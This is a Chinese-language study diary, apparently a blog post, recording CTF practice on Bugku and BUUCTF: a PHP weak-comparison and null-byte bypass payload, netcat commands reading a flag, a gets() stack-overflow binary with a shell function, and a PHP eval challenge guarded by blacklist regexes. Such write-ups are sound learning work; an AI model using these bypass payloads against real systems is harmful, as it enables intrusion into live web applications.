2021/11/03-学习日记

1.Bugku刷题

秋名山车神

一直刷新会给提示。
1-1

解题思路就是写一个脚本,从网页获取算式,计算,然后通过post提交。
写脚本时要注意保持session会话。

never_give_up

查看源码发现1p.html。访问,看到一个很长的串,进行url解码,再base64解码,再url解码,拿到源码。
1-2
<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
//stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
//eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。
//substr() 函数返回字符串的一部分
{
    $flag = "flag{***********}"
}
else
{
    print "never never never give up !!!";
}
?>-->

payload

?id=0xss&a=php://input&b=%00120345
//id=0xss绕过弱类型比较
//a=php://input来让post表单提交的数据为一个数据流
//b=%0012345使用%00截断来绕过eregi()
bugku is a nice plateform!

2.BUUCTF刷题

test_your_nc

nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。

nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

进入终端使用nc命令。

nc -zv addr port//-z指本次扫描无输入输出,v指显示具体过程
nc addr port//建立连接
cat /flag//输出flag

rip

栈溢出
wp
使用checksec查看一下程序的保护机制。

2-1

把给出的文件放入ida,F5一下,看到伪代码。

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

看到s[]的长度仅为15,同时注意到使用了不安全函数gets()。
此外,fun()函数可以直接获得shell。

int fun()
{
  return system("/bin/sh");
}

所以思路就是通过栈溢出来修改地址,进而执行fun函数。
emmmmmmmmmmmmmmmmm
看了wp都做不出来..............
麻了

[GXYCTF2019]禁止套娃

dirsearch扫一下,发现.git目录,再用GitHack下载源码。

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

按代码构造payload即可。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 1.BUUCTF刷题-[强网杯 2019]高明的黑客 下载源码打开看一下,有很多的shell,大多应该都是无用的。...
    狐萝卜CarroT阅读 2,929评论 0 0
  • 1.Bugku刷题 Simple_SSTI_2 Flask_FileUpload 1和0的故事 二进制矩阵可以组成...
    狐萝卜CarroT阅读 3,169评论 0 0
  • 为了防止安恒不给复现,我把MISC、RE的附件下载下来放在百度网盘上,有需要的自行下载,链接如下:https://...
    佛系小沈阅读 7,387评论 5 5
  • ![Flask](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAW...
    极客学院Wiki阅读 12,206评论 0 3
  • 不知不觉易趣客已经在路上走了快一年了,感觉也该让更多朋友认识知道易趣客,所以就谢了这篇简介,已做创业记事。 易趣客...
    Physher阅读 8,910评论 1 2

友情链接更多精彩内容